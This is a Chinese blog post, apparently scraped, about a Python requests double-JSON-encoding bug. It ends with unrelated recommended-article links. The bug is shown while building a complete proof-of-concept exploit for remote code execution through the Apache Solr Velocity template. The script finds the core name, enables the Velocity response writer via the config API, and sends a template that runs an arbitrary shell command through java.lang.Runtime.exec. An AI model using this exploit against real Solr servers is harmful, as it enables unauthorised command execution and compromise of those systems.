python3 post json

前些天python3 post出现的小问题做下记录

在调试python3 发送json 的时候总是出现服务器500的错误,找不出原因,就想到是不是我post的内容是不是不符合预期。

def upconf(url,name):
url = "192.168.30.100:8983"
name = "db"
# 设置代理
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = json.dumps(postData),proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1)

一直显示 500错误

burpsuite 抓取 python requests 数据包

在burpsuite设置的地址和端口要和python的一致。



设置代理后抓包发现,数据包是这样的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 246 "{\"update-queryresponsewriter\": {\"startup\": \"lazy\", \"name\": \"velocity\", \"class\": \"solr.VelocityResponseWriter\", \"template.base.dir\": \"\", \"solr.resource.loader.enabled\": \"true\", \"params.resource.loader.enabled\": \"true\"}}"

而我预期是这样的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 218 {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

上网查了下,多了一些转义符("\"),是由于postData 已经是json格式,而不是字符串,在使用json.dumps(postData),相当于两次转换。只需要把这个去掉就行

def upconf(url,name):
url = "192.168.30.100:8983"
name = "db"
# 设置代理
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1)

完整python3的poc 如下:

import requests
import json
import sys name = "" # 获取core_name
def getname(url):
url = url + "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[1]
print(name)
except:
pass
return name # 上传修改配置文件
def upconf(url,name):
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1) def poc():
# 目标IP
url = "http://192.168.30.100:8983"
# 命令
cmd = "id"
name = getname(url)
upconf(url,name)
url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("GET",url)
print("response:"+conn.text)
# print(url)
# print(cmd)
if __name__ == '__main__':
poc()

小结

排查问题一定要认真。还需要学习补充python post 的其他方式和区别

Python3 post 嵌套json的更多相关文章

  1. ASP.NET提取多层嵌套json数据的方法

    本文实例讲述了ASP.NET利用第三方类库Newtonsoft.Json提取多层嵌套json数据的方法,具体例子如下. 假设需要提取的json字符串如下: {"name":&quo ...

  2. 详解ASP.NET提取多层嵌套json数据的方法

    本篇文章主要介绍了ASP.NET提取多层嵌套json数据的方法,利用第三方类库Newtonsoft.Json提取多层嵌套json数据的方法,有兴趣的可以了解一下. 本文实例讲述了ASP.NET利用第三 ...

  3. 【Java_Spring】java解析多层嵌套json字符串

    java解析多层嵌套json字符串    

  4. 复杂json解析(json里面嵌套json)

    调用第三方接口,返回一堆json,我只想取得里面的某一个属性,但是返回的比较复杂,无法直接拿到属性,格式类似于这样: {"video":{"id":" ...

  5. 复习解析嵌套json

    在网络上找的一些经典的例子复习使用 一,解析嵌套json字符串,一个json字符串中嵌套另一个json字符串 { "msg": { "resCode": &qu ...

  6. 利用FastJson,拼接复杂嵌套json数据&&直接从json字符串中(不依赖实体类)解析出键值对

    1.拼接复杂嵌套json FastJson工具包中有两主要的类: JSONObject和JSONArray ,前者表示json对象,后者表示json数组.他们两者都能添加Object类型的对象,但是J ...

  7. Logstash下字段以及嵌套Json字段类型转换

    前言 从filebeat传输到Logstash的数据,某个字段需要由string类型装换成float类型.但是不管怎么改logstash的配置文件都不生效,其实官方文档都有,但是具体细节方面的东西就得 ...

  8. 【golang】json数据解析 - 嵌套json解析

    @ 目录 1. 通过结构体映射解析 2. 嵌套json解析-map 1. 通过结构体映射解析 原数据结构 解析 // 结构体 type contractJson struct { Data []tra ...

  9. c#多层嵌套Json

    Newtonsoft.Json.Net20.dll 下载请访问http://files.cnblogs.com/hualei/Newtonsoft.Json.Net20.rar 在.net 2.0中提 ...

随机推荐

  1. 关于“教室派”APP的使用报告和相关建议

    教室派APP能够很好的解决学生查询各教室占用情况这一问题,使用起来非常方便.用户可根据需要选取星期来查询不同教学楼教室使用情况. 编辑课表是其附带功能,但通过使用发现手动编辑课表效率太低,建议开发者加 ...

  2. 线程同步器CountDownLatch

    Java程序有的时候在主线程中会创建多个线程去执行任务,然后在主线程执行完毕之前,把所有线程的任务进行汇总,以前可以用线程的join方法,但是这个方法不够灵活,我们可以使用CountDownLatch ...

  3. asp.net使用wsdl文件调用接口,以及调用SSL接口报错“根据验证过程 远程证书无效”的处理

    1.调用wsdl接口,首先需要将wsdl文件转换为cs文件: 进入VS 开发人员命令提示行,输入如下命令: c:/Program Files/Microsoft Visual Studio 8/VC& ...

  4. 部署项目到jetty

    一.打包项目 1.在pom.xml中添加以下依赖 <dependency> <groupId>org.mortbay.jetty</groupId> <art ...

  5. AcWing 8.二维费用的背包问题

    #include<iostream> #include<algorithm> #include<cstring> using namespace std ; ; i ...

  6. AcWing 874. 筛法求欧拉函数

    #include<bits/stdc++.h> using namespace std; typedef long long ll; ; int primes[N],cnt; int ph ...

  7. SpringMVC项目使用elastic search搜索

    项目需要,引入了elastic search(后续简称es),后面将介绍本地对es的安装,使用以及java连接es查询的整个过程. 1.es索引字段建立与修改,以curl新增一个索引字段示例 curl ...

  8. HTML5-语义化

    什么是语义化?就是用合理.正确的标签来展示内容,比如h1~h6定义标题. 语义化优点: 易于用户阅读,样式丢失的时候能让页面呈现清晰的结构. 有利于SEO,搜索引擎根据标签来确定上下文和各个关键字的权 ...

  9. 题解【洛谷P1038/CJOJ1707】[NOIP2003提高组]神经网络

    [NOIP2003]神经网络 Description 问题背景:人工神经网络( Artificial Neural Network )是一种新兴的具有自我学习能力的计算系统,在模式识别.函数逼近及贷款 ...

  10. centos 配置安装golang

    golang的官方下载和安装介绍: https://golang.org/doc/install 按照如下步骤安装绿色版golang ,不需要编译,解压就可以用 1)下载tar.gz 安装包 2)直接 ...